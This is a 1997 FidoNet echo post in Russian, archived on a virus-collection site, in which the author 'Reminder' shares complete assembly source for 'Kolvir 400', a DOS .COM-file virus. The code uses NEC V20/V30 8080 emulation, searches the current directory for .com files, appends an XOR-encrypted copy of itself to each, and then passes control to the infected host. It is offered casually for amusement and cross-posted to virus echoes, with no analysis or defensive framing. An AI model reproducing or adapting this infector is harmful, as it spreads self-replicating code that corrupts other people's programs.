Msg : Prev 2393 / 4681 Next
1997-05-06 18:30:56

To  : All

Subj:

да так, для поднятия настроения :)


Привет All! 

как надоест, вы скажите :) 

=== Cut === 
; (c) Reminder (1997) 
; [Nec20 virii collection] 
; Date 6-Marth-1997 
; Time 8:14:19 

.model tiny 
.code 
org 100h 
start: 

include asm_8080.inc 

brkem macro inter 
db 0fh,0ffh,inter 
endm brkem 

retem macro 
db 0edh,0fdh 
endm retem 

int86 macro oper8 
db 0edh,0edh 
db oper8 
endm 

int21h macro _ax,_cx,_dx 

ifnb <_ax> 
_lxi_sp _ax 
endif 
ifnb <_cx> 
_lxi_b _cx 
endif 
ifnb <_dx> 
_lxi_d _dx 
endif 
int86 78h 
endm 

;========================================= 

mov cx,3 

; check nec20/30 
db 0f3h,26h,0ach ; rep es: lodsb 
or cx,cx 
jnz fuck 

xor ax,ax 
mov es,ax 
mov di,77h*4 
lea ax,entry 
stosw 
mov ax,ds 
stosw 
lea ax,entry21 
stosw 
mov ax,ds 
stosw 
push ds 
pop es 

cli 
brkem 77h 
sti 
jmp beg 

entry: 
_lxi_b beg 
_lxi_d len2 

decod: 
_ldax_b 
_xri 0 
kod equ $-1 
_stax_b 
_inx_b 

_dcx_d 
_mov_a_d 
_ora_e 
_jnz decod 
_jmp beg7 

beg: 


; int 3 
push bx 

xchg dx,si ; si <- de 
xchg di,bx ; di <- hl 
cld 

mov ax,0f0h 
push ax 
fuck: 
ret 

beg7: 

_lxi_sp 0f000h 
_lhld len_of_infected_program 
_shld old 

;------------------------------- 
; b -> d 
_lxi_b 80h 
_lxi_d buf1 
_mvi_h 100 
@work: 
_ldax_b 
_stax_d 
_inx_b 
_inx_d 
_dcr_h 
_jnz @work 
;-------------------------------- 
int21h 4e00h,20h,fmask 
find: 
_jc quit 

_lxi_h 9ah+1 ; len (hi byte) 
_mov_a_m 
_cpi 0EEh ; > ~61000 
_jnc next 
_cpi 3 ; < ~700 
_jc next 

int21h 3d02h,,9eh 
_jc next 
_xchg ; hl <-> de : xchg aka xchg bx,dx 

int21h 3f00h,len,buf 
_jc next 

_lxi_b buf 
_ldax_b 
_cpi 0b9h 
_jz next 
_cpi 'Z' 
_jz next 
_cpi 'M' 
_jnz @1 

next: 
int21h 3e00h,, 
int21h 4f00h,, 
_jmp find 

len_of_infected_program dw len 

@1: 
int21h 4202h,0,0 
_jc next 

; de - len 
_xchg ; de(dx) <-> hl(bx) 
_shld len_of_infected_program 
_xchg ; de(dx) <-> hl(bx) 

int21h 4000h,len,buf 
_jc next 

_shld _h 

;------------ !!! 
_in 40h 
_sta kod 
_sta kod2 

_lxi_b 100h 
_lxi_d buf 
_lxi_h beg-100h 
@2: 
_ldax_b 
_stax_d 
_inx_b 
_inx_d 

_dcx_h 
_mov_a_h 
_ora_l 
_jnz @2 

;----- 
_lxi_b beg 
_lxi_d buf+beg-100h 
_lxi_h len2 
_jmp @3 

@3: 
_ldax_b 
_xri 0 
kod2 equ $-1 
_stax_d 
_inx_b 
_inx_d 
_dcx_h 
_mov_a_h 
_ora_l 
_jnz @3 

_lxi_h 0 
_h equ $-2 

int21h 4200h,0,0 
_jc next 
int21h 4000h,len,buf 
_jc next 

quit: 
;----restore dta ----- 

_lxi_b buf1 
_lxi_d 80h 
_mvi_h 100 

@work2: 
_ldax_b 
_stax_d 
_inx_b 
_inx_d 
_dcr_h 
_jnz @work2 
;------------------------ 
_lxi_h 0a4f3h 
_shld 0f0h 
_lxi_h 0c390h 
_shld 0f2h 

perl: 
_lxi_h 0 
old equ $-2 
_lxi_d 100h 
_dad_d 
_xchg ; hl(bx)->di = 100h ; de(dx)->si = infected+100h 
_lxi_b len ; bc(cx) = len 
retem 

entry21: 
mov ax,bp 
int 21h 
xchg ax,dx 
pop ax ds 
pop cx ; skip old flags 
pushf 
pop cx 
and cx,7fffh ; clear md flag 
push cx 
push ds ax 
iret 

fmask db '*.com',0 
buf equ 0f000h 
buf1 equ 0fffeh-400 
mess2 db '[Kolvir 400] by Reminder' 
len equ $-start 
len2 equ $-beg 
len3 equ beg-start 
ret 
end start 
=== Cut === 

* Crossposted in DONBASS.VIRUS 
* Crossposted in PVT.VIRII 

С бестовыми регардами , Kostya Volkov aka Reminder 

.' [SGWW] [DVC] [Crematorium fans Team] [MK Team] [WW] `. 

--- 
* Origin: Kostya Volkov aka Reminder (2:4631/17) 
VX Heavens - коллекция вирусов,исходников и статей.
Нажми Alt + F, чтобы перейти к форме поиска
Пользовательского поиска